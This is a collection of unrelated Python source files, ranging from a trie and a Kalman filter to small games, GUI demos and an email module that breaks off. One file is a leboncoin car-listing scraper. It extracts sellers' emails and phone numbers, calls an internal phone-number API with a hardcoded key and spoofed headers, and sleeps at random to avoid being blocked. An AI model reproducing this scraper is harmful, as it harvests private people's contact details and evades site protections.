    def __repr__(self):
        return repr(self.trie)

    def make_trie(self, *words):
        trie = dict()
        for word in words:
            temp_dict = trie
            for letter in word:
                temp_dict = temp_dict.setdefault(letter, {})
            temp_dict[self._end] = self._end
        return trie

    def find_word(self, word):
        sub_trie = self.trie

        for letter in word:
            if letter in sub_trie:
                sub_trie = sub_trie[letter]
            else:
                return False
        else:
            if self._end in sub_trie:
                sub_trie[self._end] += 1
                return True
            else:
                return False

    def freq_word(self):
        for word in self.words.split():
            sub_trie = self.trie
            for letter in word:
                if letter in sub_trie:
                    sub_trie = sub_trie[letter]

            if self._end in sub_trie:
                if self.max < sub_trie[self._end]:
                        self.max = sub_trie[self._end]
                        self.word = word
            else:
                print("False")
        for key, value in self.chars.items():
            if value>self.maxlet:
                self.maxlet = value
                self.letter = key

    def add_word(self, word):
        if self.find_word(word):
            #print("Word Already Exists")
            return self.trie

        temp_trie = self.trie
        for letter in word:
            if letter in self.chars:
                self.chars[letter] += 1
            else:
                self.chars[letter] = 1
            if letter in temp_trie:
                temp_trie = temp_trie[letter]
            else:
                temp_trie = temp_trie.setdefault(letter, {})
        temp_trie[self._end] = 1
        return temp_trie


import gameParser as parser, connection

# Processes parsed input
# returns None if nothing happened
# returns true if user wants to return to game
# returns int if user wants to load a game
# returns tuple (firstname, lastname)
def processInput(parse):
    if parse.command == parser.Commands.RETURN:
        return "Boolean is instance of int, so we have to use something else"
    elif parse.command == parser.Commands.LISTSAVES:
        playerList = connection.getPlayers()
        if playerList:
            print("Saved games")
            for p in playerList:
                print(
                    "SAVE %i: %s %s, money: %i"
                    % (p.number, p.firstName, p.lastName, p.money))
        else: print("No saves found")
        return False
    elif parse.command == parser.Commands.LOADGAME:
        if parse.target and parse.target.isdigit():
            return int(parse.target)
        else:
            print("Put save number after LOAD - use LIST to get a list of saves")
            return False
    elif parse.command == parser.Commands.NEWGAME:
        return _askNameFromPlayer()
    elif parse.command == parser.Commands.DELETE:
        if parse.target and parse.target.isdigit():
            connection.deleteSave(int(parse.target))
            print("Save number %s has been deleted" % (parse.target,))
        return False
    else:
        return None

#Plays the introduction up untill player is asked a name, after that the game starts
def _askNameFromPlayer():
	print("You have finally made it. After months of training, you've finally been licensed to operate on a spaceship and assigned to one. Space travel has always been your dream and finally that dream is being fulfilled\n")
	print("After being directed to the sleeping quaters you started on placing your stuff in the locker. As you put your last item - a spare pair of boots - into the locker, you hear footsteps behind you. By looking at his uniform you can clearly tell that he is running the show here.\n")
	print("\"You must be the replacement they sent here, right? What is your name?\"")
	first = input("First name: ")
	last = input("Last name: ")
	return (first, last)


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Mon Oct  9 14:04:24 2017

@author: joseph

"""

import urllib
from bs4 import BeautifulSoup
import requests
import re
import numpy as np
import pandas as pd
import functools as ft
import pandas as pd
import json as js
import time
from requests.auth import HTTPBasicAuth
from multiprocessing import Pool
import asyncio
import aiohttp
import sys
sys.path.insert(0, '/home/joseph/Dropbox/DeepLearning/Programmation/Python/KitDataScience/Joseph-Assouline/Wallet')
import walletstore as w

#année, kilométrage, prix, téléphone du propriétaire, est ce que la voiture est vendue par un professionnel ou un particulier.
#Vous ajouterez une colonne sur le prix de l'Argus du modèle que vous récupérez sur ce site http://www.lacentrale.fr/cote-voitures-renault-zoe--2013-.html.

regexEmail = r"([a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+)\s*"
regexModel= r"Zoe\s(\w+)"
regexListId = r"(\d+).h"
regexPrice = r"(\d+)\s"
regexKM = r"(\d+)K"
regexCP =r"(\d+)"
regexTel = r"(\d(\s\-)?){10,11}"
mod=[]
loc=[]
km=[]
year=[]
price=[]
email=[]
modtyp=[]
cote=[]
Telephone=[]
telfromdesc=[]
prixneuf=[]
vendeurtype=[]
desclink=[]
description=[]
NextLink=[]

compteurBoncoin=0

def getPetitesAnnonces(marque, modele, region):

    url ="https://www.leboncoin.fr/voitures/offres/"+region+"/?th=1&q="+ modele+"&brd="+marque
    resAnnonce = requests.get(url)
    soup = BeautifulSoup(resAnnonce.text, 'html.parser')
    getLinkToNextPage(soup)
    soup =soup.find("section", class_="tabsContent block-white dontSwitch").find("ul")
    return soup

def getPetitesAnnoncesSuite(url):

    print(url)
    resAnnonce = requests.get(url)
    soup = BeautifulSoup(resAnnonce.text, 'html.parser')
#   getLinkToNextPage(soup)
    soup =soup.find("section", class_="tabsContent block-white dontSwitch").find("ul")
    return soup

def getSoupAnnonce(url):
    res = requests.get(url)
    soup = BeautifulSoup(res.text, 'html.parser')
    return soup

def getAnnonceFeatures(soup):
    listfeatures=[]
    listfeatures =soup.find_all("span", class_="value")
    return listfeatures

def getModel(listfeatures):
    Model = listfeatures[3].text
    mod.append(str(Model))
    #print(str(Model))
    return (str(Model))

def getloc(listfeatures):
    l = listfeatures[1].text
    loc.append(str(l))
    #print(str(l))
    return(str(l))

def getKM(listfeatures):
    Km = listfeatures[5].text.replace(" ","")
    Km = re.search(regexKM,Km)
    km.append(int(Km[1]))
    #print(float(Km[1]))
    return int(Km[1])

def getYear(listfeatures):
    Year = listfeatures[4].text.replace(" ","")
    year.append(int(Year))
    return(int(Year))

def getPrice(soup):
#    price = re.search(regexPrice,strp)

    listpr =[]
    listpr = soup.find_all("h3", class_="item_price")
    strp= list(map(lambda x:x.text.replace(" ",""),listpr))
    price_item_page = list(map(lambda x: re.search(regexPrice,x)[1],strp))
    price.extend(price_item_page)
    print(price_item_page)
#    return(float(price))

def getPetitesAnnonceDescLink(soup):
    links = []
    links = soup.find_all("a", href=True)
    links = list(map(lambda x: str('https:'+x['href']),links))
    desclink.extend(links)
    return links

def getDesc(soup):
    description_ = []
    description_ = soup.find_all("p", class_="value")
    description_ = list(map(lambda x: str(x.text), description_))
    description.append(description_)
    return description_

def getContactFromDesc(desc):
    email_desc = re.search(regexEmail,str(desc))
    if email_desc != None:
        email.append(email_desc[1])
        print(email_desc[1])
    else:
        email.append('NA')

def getModelfromDesc(des):
    modeltype=['life', 'intens', 'zen']
    mod=[]
    desclower = (str(des).lower())
    mod = re.search(regexModel, str(des),re.IGNORECASE)
    if mod != None:
        r=mod[1]
    else:
        r='NA'

    if r in modeltype:
        t=r
    elif modeltype [0] in desclower:
        t = modeltype[0]
    elif modeltype [1] in desclower:
        t = modeltype[1]
    elif modeltype [2] in desclower:
        t = modeltype[2]
    else:
        t = 'NA'
    modtyp.append(t)
    return t

def getTelFromDesc(desc):
    desclower = (str(desc).lower())
    tel = re.search(regexTel, desclower)
    if tel != None:
        telfromdesc.append(tel.group(0))
    else:
        telfromdesc.append('NA')

def getTypeSeller(soup):
    TypeSeller = soup.find_all("span", class_="ispro")
    if TypeSeller != []:
        vendeurtype.append(TypeSeller[0].text)
        print(TypeSeller[0].text)
    else:
        vendeurtype.append('particulier')
        print('particulier')

def fillDataframe():
    dico =dict()
    dico = {'modele' :mod,'type':modtyp, 'année':year, 'kilometrage':km,'codepostal':loc, 'prix_vente':price, 'cote_affinée':cote,
            'prix_neuf':prixneuf, 'TypeVendeur':vendeurtype,'telephone':Telephone,'email':email, 'lien' : desclink, 'telfromdesc': telfromdesc}
    DataZoe = pd.DataFrame(dico)
    DataZoe.to_csv('/home/joseph/Dropbox/DeepLearning/Programmation/Python/KitDataScience/Joseph-Assouline/Lesson5/DataZoe.csv',  sep=';')

def getLinkToNextPage(soup):

    link = soup.find_all("a", class_="element page", href=True)
    link = list(map(lambda x: str('https:'+x['href']),link))
    print(link)
    NextLink.append(link)
    print(NextLink)
    return(link)

def getPhoneNumber(url):
    global compteurBoncoin

    data=[]
    listeid = str(re.search(regexListId,url)[1])
    urlapi ='https://api.leboncoin.fr/api/utils/phonenumber.json'
    headers ={'Host': 'api.leboncoin.fr',
              'Connection': 'keep-alive',
              'Content-Length': '89',
              'Accept': '*/*',
              'Origin': 'https://www.leboncoin.fr',
              'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',
              'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
              'Referer': url,
              'Accept-Encoding': 'gzip, deflate, br',
              'Accept-Language': 'fr-FR,fr;q=0.8,en-US;q=0.6,en;q=0.4,it;q=0.2'}
    datainput = "list_id="+listeid+"&app_id=leboncoin_web_utils&key=54bb0281238b45a03f0ee695f73e704f&text=1"
    attente = np.random.randint(10,20)
    time.sleep(attente)
    res = requests.post(urlapi, headers=headers, data=datainput)
    if (res.status_code ==200) :
        data = js.loads(res.text)
    else:
        print('on vient de se faire jeter')

    if 'phonenumber' in data['utils']:
        Tel = data['utils']['phonenumber']
        compteurBoncoin+=1
    else:
        Tel = "A prendre plus tard"
    attente = np.random.randint(3,10)
    time.sleep(attente)
    print(Tel)
    Telephone.append(Tel)

#def Select(model):
#     url='https://www.lacentrale.fr/cote-voitures-renault-zoe--2013-.html'
#     res= requests.get(url)
#     soup = BeautifulSoup(res.text, 'html.parser')

def getCote(modelfeatures,r):
    modeltype=['life', 'intens', 'zen']
    data=[]

    if r == 'ile_de_france':
        cp = str('75000')
    elif r == 'aquitaine':
        cp = str('33000')
    else:
        cp=str('13000')

    urlapi= "https://www.lacentrale.fr/get_co_prox.php?km="+str(modelfeatures[2])+"&zipcode="+str(cp)+"&month=01"

    if modelfeatures[0] in modeltype:
        url = "https://www.lacentrale.fr/cote-auto-renault-zoe-"+ str(modelfeatures[0]) + "+charge+rapide+type+2-"+ str(modelfeatures[1]) + ".html"
    else:
        url = "https://www.lacentrale.fr/cote-auto-renault-zoe-zen+charge+rapide+type+2-"+str(modelfeatures[1])+".html"

    print(url)
    headers={
            'accept':'*/*',
            'accept-encoding':'gzip, deflate, sdch, br',
            'accept-language':'fr-FR,fr;q=0.8,en-US;q=0.6,en;q=0.4,it;q=0.2',
            'referer':url,
            'user-agent':'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36'
            }
    res = requests.get(url)
    cookie = res.cookies
    resapi = requests.get(urlapi,cookies=cookie, headers=headers)
    if resapi.status_code==200:
        data = js.loads(resapi.text)
    else:
        print('on vient de se faire jeter')
    print(data)
    cote_ = data['cote_perso']
    prix_neuf =data['price_new']
    print(cote_, prix_neuf)
    prixneuf.append(prix_neuf)
    cote.append(cote_)

def getAllPageFeature(desc,r):
    listfeatures=[]
    attente = np.random.randint(5,15)
    time.sleep(attente)
    for url in desc:
        print(url)
        soupPA = getSoupAnnonce(url)
        listfeatures = getAnnonceFeatures(soupPA)
        getModel(listfeatures)
        getTypeSeller(soupPA)
        d = getDesc(soupPA)
        getContactFromDesc(d)
        getTelFromDesc(d)
        getPhoneNumber(url)
        modelfeatures = [getModelfromDesc(d),
                         getYear(listfeatures), getKM(listfeatures), getloc(listfeatures)]
        getCote(modelfeatures,r)

def main():

    marque = "Renault"
    modele = "Zoe"
    region = ["ile_de_france", "provence_alpes_cote_d_azur","aquitaine"]
    desc=[]
    i=0
    for r in region:
        souplistpa = getPetitesAnnonces(marque,modele,r)
        getPrice(souplistpa)
        desc=getPetitesAnnonceDescLink(souplistpa)
        getAllPageFeature(desc, r)
        fillDataframe()
        for link in NextLink[i]:
            souplistpa = getPetitesAnnoncesSuite(link)
            getPrice(souplistpa)
            desc=getPetitesAnnonceDescLink(souplistpa)
            getAllPageFeature(desc,r)
            fillDataframe()
        i+=1

main()


import operator
import functools
import collections
import pprint
pp = pprint.PrettyPrinter(indent=4)
f = open("input.txt", "r")

def getCurrentLineNums(line):
    return list(map(lambda x: int(x), list(line.rstrip("\n"))))

grid = []

for line in f:
    grid.append(getCurrentLineNums(line))

m = len(grid)
n = len(grid[0])

def isValid(i, j):
    return i >= 0 and i < m and j >= 0 and j < n

directions = [(1, 1), (-1, -1), (-1, 1), (1, -1),
              (0, 1), (1, 0), (0, -1), (-1, 0)]

coords = []

def increment(grid):
    coords = []
    for i in range(len(grid)):
        for j in range(len(grid[i])):

            grid[i][j] += 1

            if grid[i][j] > 9:
                coords.append((i, j))
    return coords

steps = 1000
result = 0
for step in range(1, steps + 1):

    coords = increment(grid)
    queue = collections.deque(coords)
    seen = set(coords)

    while queue:
        i, j = queue.popleft()
        grid[i][j] = float("-inf")
        for dx, dy in directions:
            nextX = i + dx
            nextY = j + dy

            if not isValid(nextX, nextY):
                continue

            grid[nextX][nextY] += 1

            if (nextX, nextY) not in seen and grid[nextX][nextY] > 9:
                seen.add((nextX, nextY))
                queue.append((nextX, nextY))

    result += len(seen)

    for i, j in seen:
        grid[i][j] = 0

    if len(seen) == 100:
        pp.pprint(grid)
        print("STEP", step)

        break
    pp.pprint(grid)

print(result)


# import
from filterpy.kalman import ExtendedKalmanFilter as EKF
from numpy import dot, array, sqrt, matrix, cos, sin, tan
import sympy
import math
import numpy as np
from sympy import symbols, Matrix
from matplotlib import pyplot as plt

import plotHelp

class RobotEKF2(EKF):
    def __init__(self, dt, wheelbase, std_acc, std_steer):
        EKF.__init__(self, 5, 1, 2)
        self.dt = dt
        self.wheelbase = wheelbase
        self.std_acc = std_acc
        self.std_steer = std_steer

        self.M = array([[self.std_acc**2, 0], [0, self.std_steer**2]])

    def move(self, x, u, dt):
        hdg = x[3, 0]
        a = u[0,    0]
        vel = x[2, 0]
        dtheta = x[4, 0]
        steering_angle = u[1, 0]
        dist = vel
        x[4, 0] = 0.0
        if abs(steering_angle) > 0.01:
            beta = (dist/self.wheelbase) * tan(steering_angle)
            r = self.wheelbase / tan(steering_angle)

            dx = np.matrix([
                [-r*sin(hdg) + r*sin(hdg+dtheta*dt)],
                [r*cos(hdg) - r*cos(hdg+dtheta*dt)],
                [a*dt],
                [dtheta*dt],
                [beta]])
        else:
            dx = np.matrix([
                [vel*self.dt*cos(hdg)],
                [vel*self.dt*sin(hdg)],
                [a*dt],
                [dtheta],
                [0]])
        return x + dx

    def F_x(self, x, u):
        px = x[0, 0]
        py = x[1, 0]
        v = x[2, 0]
        theta = x[3, 0]
        dtheta = x[4, 0]
        alpha = u[1, 0]
        acc = u[0, 0]
        r = self.wheelbase/np.tan(alpha)

        if alpha < 0.0001:
            alpha = 0.0001

        return np.matrix([[1, 0, 0, -r*np.cos(theta)+r*np.cos(dtheta*self.dt+theta),
                           self.dt*r*np.cos(dtheta*self.dt+theta)],
                          [0, 1, 0, -r*np.sin(theta)+r*np.sin(dtheta*self.dt+theta),
                           self.dt*r*np.sin(dtheta*self.dt+theta)],
                          [0, 0, 1, 0, 0],
                          [0, 0, 0, 1, self.dt],
                          [0, 0, np.tan(alpha)/self.wheelbase, 0, 0]])

    def F_u(self, x, u):
        px = x[0, 0]
        py = x[1, 0]
        v = x[2, 0]
        theta = x[3, 0]
        dtheta = x[4, 0]
        alpha = u[1, 0]
        acc = u[0, 0]
        if alpha < 0.0001:
            alpha = 0.0001

        return np.matrix([
            [0, -self.wheelbase*(-np.tan(alpha)**2-1)*np.sin(theta)/np.tan(
                alpha)**2 + self.wheelbase*(-np.tan(alpha)**2-1)*np.sin(theta+dtheta*self.dt)/np.tan(alpha)**2],
            [0, self.wheelbase*(-np.tan(alpha)**2-1)*np.cos(theta)/np.tan(
                alpha)**2 - self.wheelbase*(-np.tan(alpha)**2-1)*np.cos(theta+dtheta*self.dt)/np.tan(alpha)**2],
            [self.dt, 0],
            [0, 0],
            [0, v*(np.tan(alpha)**2+1)/self.wheelbase]])

    def predict(self, u=array([[0.0], [0.0]])):
        newX = self.move(self.x, u, self.dt)

        #
        F_x = self.F_x(self.x, u)
        F_u = self.F_u(self.x, u)

        self.P = dot(F_x, self.P).dot(F_x.T) + dot(F_u, self.M).dot(F_u.T)
        self.x = newX

    def Hx(X):
        return array([[X[2, 0]], [X[4, 0]]])

    def H_of(X):
        return array([[0.0, 0.0, 1.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 1.0]])

    def update(self, z, R):
        super(RobotEKF2, self).update(z=z, HJacobian=RobotEKF2.H_of, Hx=RobotEKF2.Hx, R=R)

class RobotEKF(EKF):
    def __init__(self, dt, wheelbase, std_acc, std_steer):
        EKF.__init__(self, 5, 2, 2)
        self.dt = dt
        self.wheelbase = wheelbase
        self.std_acc = std_acc
        self.std_steer = std_steer

        alpha, a, x, y, v, w, theta, dtheta, time = symbols(
            'alpha, a, x, y, v, w, theta, dtheta, t')

        d = v
        # + a/2*time**2
        beta = (d/w)*sympy.tan(alpha)
        r = w/sympy.tan(alpha)

        self.fxu = Matrix(
            [[x - r * sympy.sin(theta) + r * sympy.sin(theta + dtheta*time)],
                [y + r * sympy.cos(theta) - r * sympy.cos(theta + dtheta*time)],
                [v + a * time],
                [theta + dtheta*time],
                [beta]])

        self.F_x = self.fxu.jacobian(Matrix([x, y, v, theta, dtheta]))
        self.F_u = self.fxu.jacobian(Matrix([a, alpha]))

        print('F_x', sympy.simplify(self.F_x))
        print('F_u', sympy.simplify(self.F_u))

        self.subs = {x: 0, y: 0, v: 0, alpha: 0, a: 0, time: dt, w: wheelbase, theta: 0}
        self.x_x, self.x_y = x, y

        self.v, self.alpha, self.theta, self.dtheta, self.a = v, alpha, theta, dtheta, a

    def move(self, x, u, dt):
        hdg = x[3, 0]
        a = u[0,    0]
        vel = x[2, 0]
        dtheta = x[4, 0]
        steering_angle = u[1, 0]
        dist = vel
        x[4, 0] = 0.0
        if abs(steering_angle) > 0.001:
            beta = (dist/self.wheelbase) * tan(steering_angle)
            r = self.wheelbase / tan(steering_angle)

            dx = np.matrix([
                [-r*sin(hdg) + r*sin(hdg+dtheta*dt)],
                [r*cos(hdg) - r*cos(hdg+dtheta*dt)],
                [a*dt],
                [dtheta*dt],
                [beta]])
        else:
            dx = np.matrix([
                [vel*self.dt*cos(hdg)],
                [vel*self.dt*sin(hdg)],
                [a*dt],
                [dtheta],
                [0]])
        return x + dx

    def predict(self, u=array([[0.0], [0.0]])):
        self.x = self.move(self.x, u, self.dt)
        # Update the state value
        self.subs[self.alpha] = u[1]
        self.subs[self.a] = u[0]

        #
        F_x = array(self.F_x.evalf(subs=self.subs)).astype(float)
        F_u = array(self.F_u.evalf(subs=self.subs)).astype(float)

        self.subs[self.x_x] = self.x[0, 0]
        self.subs[self.x_y] = self.x[1, 0]
        self.subs[self.v] = self.x[2, 0]
        self.subs[self.theta] = self.x[3, 0]
        self.subs[self.dtheta] = self.x[4, 0]

        M = array([[self.std_acc**2, 0], [0, self.std_steer**2]])
        self.P = dot(F_x, self.P).dot(F_x.T) + dot(F_u, M).dot(F_u.T)

    def Hx(X):
        return array([[X[2, 0]], [X[4, 0]]])

    def H_of(X):
        return array([[0.0, 0.0, 1.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 1.0]])

    def update(self, z, R):
        super(RobotEKF, self).update(z=z, HJacobian=RobotEKF.H_of, Hx=RobotEKF.Hx, R=R)

def generateTest(std_vel, std_accel, std_steer, std_theta, std_dtheta):
    rob1 = RobotEKF(dt=0.1, wheelbase=26, std_acc=std_accel, std_steer=std_steer)
    rob2 = RobotEKF2(dt=0.1, wheelbase=26, std_acc=std_accel, std_steer=std_steer)
    X = rob1.x
    X = rob2.x
    # State = X
    u = matrix([[90], [math.pi/180*20]])
    U_a = u

    X = rob1.move(x=X, u=u, dt=rob1.dt)
    # print('State', X)
    State = X
    # State = np.concatenate((State, X), axis=1)
    u = matrix([[0], [math.pi/180*2]])
    for i in range(100):

        X = rob1.move(x=X, u=u, dt=rob1.dt)
        U_a = np.concatenate((U_a, u), axis=1)
        State = np.concatenate((State, X), axis=1)

        # State.append(X)
    vel_err = State[2, :]+np.random.normal(0.0, std_vel, State.shape[1])
    theta_err = State[3, :]+np.random.normal(0.0, std_theta, State.shape[1])
    dtheta_err = State[4, :]+np.random.normal(0.0, std_dtheta, State.shape[1])

    plt.figure()
    plt.plot(theta_err[0, :].tolist()[0])
    plt.plot(State[3, :].tolist()[0])

    plt.figure()
    plt.plot(dtheta_err[0, :].tolist()[0])
    plt.plot(State[4, :].tolist()[0])
    plt.show()

    U_a[0, :] += np.random.normal(0.0, std_accel, U_a.shape[1])
    U_a[1, :] += np.random.normal(0.0, std_steer, U_a.shape[1])
    return State, U_a, rob1, rob2, vel_err, theta_err, dtheta_err

def main():
    std_vel = 0.0
    std_theta = np.radians(1)
    std_dtheta = np.radians(0.001)
    print("S", std_dtheta)
    State, U_a, rob1, rob2, vel_err, theta_err, dtheta_err = generateTest(
        std_vel=std_vel, std_accel=0.05, std_steer=np.radians(1.e-4), std_theta=std_theta, std_dtheta=std_dtheta)
    rob1.P = np.diag([.0, .1, .1, np.radians(0.001), 0.0])
    rob2.P = np.diag([.0, .1, .1, np.radians(0.001), 0.0])

    X = rob1.x
    X1 = rob2.x

    for u, vel_mes, theta_e, dtheta_e in zip(U_a.T, vel_err.tolist()[0], theta_err.tolist()[0], dtheta_err.tolist()[0]):

        u = u.T
        # rob1.predict(u)
        # rob1.update(array([[vel_mes], [dtheta_e]]), R=matrix([[std_vel**2, 0], [0, std_dtheta**2]]))
        X = np.concatenate((X, rob1.x), axis=1)
        print(u)
        rob2.predict(u)
        rob2.update(array([[vel_mes], [dtheta_e]]), R=matrix([[std_vel**2, 0], [0, std_dtheta**2]]))
        X1 = np.concatenate((X1, rob2.x), axis=1)

    plt.figure()
    plt.title('Velocity')
    plt.plot(X[2, :].tolist()[0], '--r')
    plt.plot(State[2, :].tolist()[0], 'b')
    plt.plot(X1[2, :].tolist()[0], '--g')

    plt.figure()
    plt.title('Oriantation')
    plt.plot(X[3, :].tolist()[0], '--r')
    plt.plot(State[3, :].tolist()[0], 'b')
    plt.plot(X1[3, :].tolist()[0], '--g')

    plt.figure()
    plt.title('Angular velocity')
    plt.plot(X[4, :].tolist()[0], '--r')
    plt.plot(State[4, :].tolist()[0], 'b')
    plt.plot(dtheta_err.tolist()[0], '--g')
    plt.plot(X1[4, :].tolist()[0], '-^g')
    plt.legend(['EKF', 'Real', 'Error'])

    plt.figure()
    plt.plot(X[0, :].tolist()[0], X[1, :].tolist()[0], '--r')
    plt.plot(State[0, :].tolist()[0], State[1, :].tolist()[0], 'b')
    plt.plot(X1[0, :].tolist()[0], X1[1, :].tolist()[0], '--g')
    plt.show()

if __name__ == '__main__':
    main()


from math import log2, sqrt

class Player:
    def __init__(self, player_id, player_stats=False):
        self.id = player_id
        self.nickname = 'Unknown' if not player_stats else player_stats['nickname']

        self.experience = 1 if not player_stats else player_stats['experience']
        self.level = self.get_level()

        self.money = 1000 if not player_stats else player_stats['money']
        self.job = 'Отсутствует' if not player_stats else player_stats['job']

        self.stats = {"id": self.id, "nickname": self.nickname, "experience": self.experience,
                      "money": self.money, "level": self.level, "job": self.job}

    def get_stats(self):
        return self.stats

    def get_level(self):
        level = self.experience**(1/4) * log2(self.experience)**(1/4)
        return level if level < 80 else 80

    def change_value(self, value, difference, is_absolutely=False):
        if is_absolutely and difference < 0:
            return False
        if not is_absolutely and self.stats[value] + difference < 0:
            return False

        if is_absolutely:
            self.stats[value] = difference
        else:
            self.stats[value] += difference

        if value is "experience":
            self.level = self.get_level()

        return True


from kivy.uix.screenmanager import Screen
from kivymd.app import MDApp
from kivy.lang import Builder
# from modules.kraje import Kraje
from modules.kraje import Nakazeni
from kivy.uix.boxlayout import BoxLayout
from kivymd.uix.picker import MDDatePicker
import datetime

class DatabaseScreen(Screen):
    pass

class Test(MDApp):

    def build(self):
        self.theme_cls.primary_palette = "Amber"
        builder = Builder.load_file('main.kv')
        # self.kraje = Kraje()
        self.nakazeni = Nakazeni()
        builder.ids.navigation.ids.tab_manager.screens[0].add_widget(self.nakazeni)
        return builder

    def show_datepicker(self):
        picker = MDDatePicker()
        picker.bind(on_save=self.get_date)
        picker.open()

    def get_date(self, the_date, *args):
        datum = the_date._current_selected_date

        f = open("ulozeni_data.txt", "w")
        f.write(f"{datetime.date(datum[2], datum[1], datum[0])}")
        f.close()

Test().run()


# Class attributes

class Person:
    GENDER = "m"

    def __init__(self):
        self.__name = "Genady" """this is private attribute"""
        self.__age = 177
        self.address = 'Ehgjhg kjljkl jhjh 34'
        print("Object creating here =================")

    def __checkNumber(value=''):
        if isinstance(value, int) or isinstance(value, float):
            return True
        return False

    def setAge(self, value=''):
        if Person.__checkNumber(value):
            self.__age = value
            print('Changed')
        else:
            print('Type Error')
            return False

    def __getattribute__(self, item):  # method reload
        if item == "_Person__name":
            return "This is private"
        else:
            return object.__getattribute__(self, item)

    def __setattr__(self, key, value):
        if key == 'GENDER':
            print('CONST')
        else:
            self.__dict__[key] = value
        # print(key)

person = Person()

"""get private attr opportunity"""
print(person._Person__name)  # print "This is private"
"""get private attr opportunity"""
person.setAge()  # Print "Type Error"
person.setAge(44)  # Print "Changed"
print(person._Person__age)  # print 117
# get public attribute
print(person.address)  # print address var value
person.GENDER = 'w'
print(person.GENDER)


import tkinter as tk  # 使用Tkinter前需要先导入
# 第1步，实例化object，建立窗口window
def window(input):
    window = tk.Tk()
    # 第2步，给窗口的可视化起名字
    window.title('result')

    # 第3步，设定窗口的大小(长 * 宽)
    window.geometry('500x300')  # 这里的乘是小x

    # 第4步，在图形界面上设定标签
    l = tk.Label(window, text='测 试 结 果 ：', bg='green', font=('Arial', 30), width=30, height=2)
    l2 = tk.Label(window, text=input, bg='white', font=('Arial', 70), width=30, height=2)
    # 说明： bg为背景，font为字体，width为长，height为高，这里的长和高是字符的长和高，比如height=2,就是标签有2个字符这么高
    # 第5步，放置标签
    l.pack()  # Label内容content区域放置位置，自动调节尺寸
    # 放置lable的方法有：1）l.pack(); 2)l.place();
    l2.pack()
    # 第6步，主窗口循环显示
    window.mainloop()


"""Tests for formatting"""

from decimal import Decimal

from jetblack_order_book import OrderBook, Side, Style

def test_format():
    """Test for formatting"""
    order_book = OrderBook()

    assert str(order_book) == ' : ', "the order book should be empty"

    # Add 3 buys and 2 sells at distinct price levels.
    order_book.add_order(Side.BUY, Decimal('10.1'), 5, Style.LIMIT)
    order_book.add_order(Side.BUY, Decimal('10.2'), 5, Style.LIMIT)
    order_book.add_order(Side.BUY, Decimal('10.3'), 5, Style.LIMIT)

    order_book.add_order(Side.SELL, Decimal('11.1'), 5, Style.LIMIT)
    order_book.add_order(Side.SELL, Decimal('11.2'), 5, Style.LIMIT)

    assert str(
        order_book
    ) == '10.1x5,10.2x5,10.3x5 : 11.1x5,11.2x5', "the order book represent the orders"

    assert format(
        order_book,
        "4"
    ) == '10.1x5,10.2x5,10.3x5 : 11.1x5,11.2x5', "show all orders if the length exceeds the orders"

    assert format(
        order_book,
        "3"
    ) == '10.1x5,10.2x5,10.3x5 : 11.1x5,11.2x5', "show all orders if the length matches the orders"

    assert format(
        order_book,
        "2"
    ) == '10.2x5,10.3x5 : 11.1x5,11.2x5', "show two orders per side"

    assert format(
        order_book,
        "1"
    ) == '10.3x5 : 11.1x5', "show one order per side"

    try:
        format(order_book, "0")
        assert False, "format length should be greater than 0"
    except ValueError:
        assert True, "Format should be less than 0"


import random
import indic_scribe as ind

import telugu as language

tenn = 10
ht = 45
buf = 5

def get_line(length=None):
    twist = random.random()
    font_prop = language.random_font()

    text = language.get_word(length)
    img = ind.scribe(text,
                     fontname=font_prop["font"],
                     size=font_prop["size"],
                     style=font_prop["style"],
                     twist=twist,
                     ten=tenn)

    #img = ind.smartrim(img, ht, buf)

    return img, language.get_labels(text), twist, text, font_prop

if __name__ == '__main__':
    from print_utils import pprint
    image, labels, angle, text, fp = get_line(3)
    pprint(image)
    print(labels)
    print(angle, fp)
    print(text)


"""Five functions to realize the functionalities of email and encryption."""

import email
import smtplib
import imaplib
from email.header import decode_header
from email.mime.text import MIMEText
from classes import MyEmail

def split_boundary():
    """Print fifty equal signs to create a boundary."""

    print('=' * 50,'\n')

def send_email(offset_num, direction = 'right'):
    """Send an email from the valid user to one or more receivers.

    Parameters
    ----------
    offset_num : int
        The number that each character in the string to shift.
    direction : str, optional
        The direction that characters will shift. default = 'right'

    Sources
    -------
        I cited some codes from the below link. I have understood them
        and modified them as many as I can by using the Email class.
        https://blog.csdn.net/qq_30595441/article/details/105242892
    """

    # Create an MyEmail object
    email_obj = MyEmail()

    # While-loop1. Check the input username
    flag1 = False
    while not flag1:
        print('Please enter the username: ')
        user_name = input()
        # Call user_check method to process the input username and
        # assign the return boolean value to `flag1`
        flag1 = email_obj.user_check(user_name)

    # While-loop2. Check each receivers' email address
    flag2 = False
    while not flag2:
        print("Please enter the receivers' emails (enter 'Quit' to exit): ")
        receiver = input()
        flag2 = email_obj.user_check(receiver, 'receiver')

        # Check if `flag2` is True, there are two situations
        if flag2 == True:
            # Check if the `receiver` is 'Quit', terminate the loop
            if receiver == 'Quit':
                break
            # Check if the `receiver` is valid, append it to the list
            # and reassign `flag2` to False and continue looping
            else:
                email_obj.receivers.append(receiver)
                flag2 = False
    split_boundary()

    # Write subject
    print('Please write the email subject: ')
    email_obj.mail_subject = input()
    email_obj.mail_subject = email_obj.mail_subject.title()
    encoded_subject = encode_email(email_obj.mail_subject, offset_num, direction)
    print()

    # Write content
    print('Please write the email contents: ')
    email_obj.mail_content = input()
    encoded_content = encode_email(email_obj.mail_content, offset_num, direction)
    split_boundary()

    # Assign email information
    # Cited codes that have been modified
    # https://blog.csdn.net/qq_30595441/article/details/105242892
    message = MIMEText(encoded_content, 'plain', 'utf-8')
    message['Subject'] = encoded_subject
    message['From'] = user_name
    message['To'] = ','.join(email_obj.receivers)

    # Use SMTP to send an email
    # Cited codes that have been modified
    # https://blog.csdn.net/qq_30595441/article/details/105242892
    try:
        smtp_obj = smtplib.SMTP(email_obj.send_server, email_obj.port)
        smtp_obj.ehlo()
        smtp_obj.starttls()
        smtp_obj.login(email_obj.user_name, email_obj.app_password)
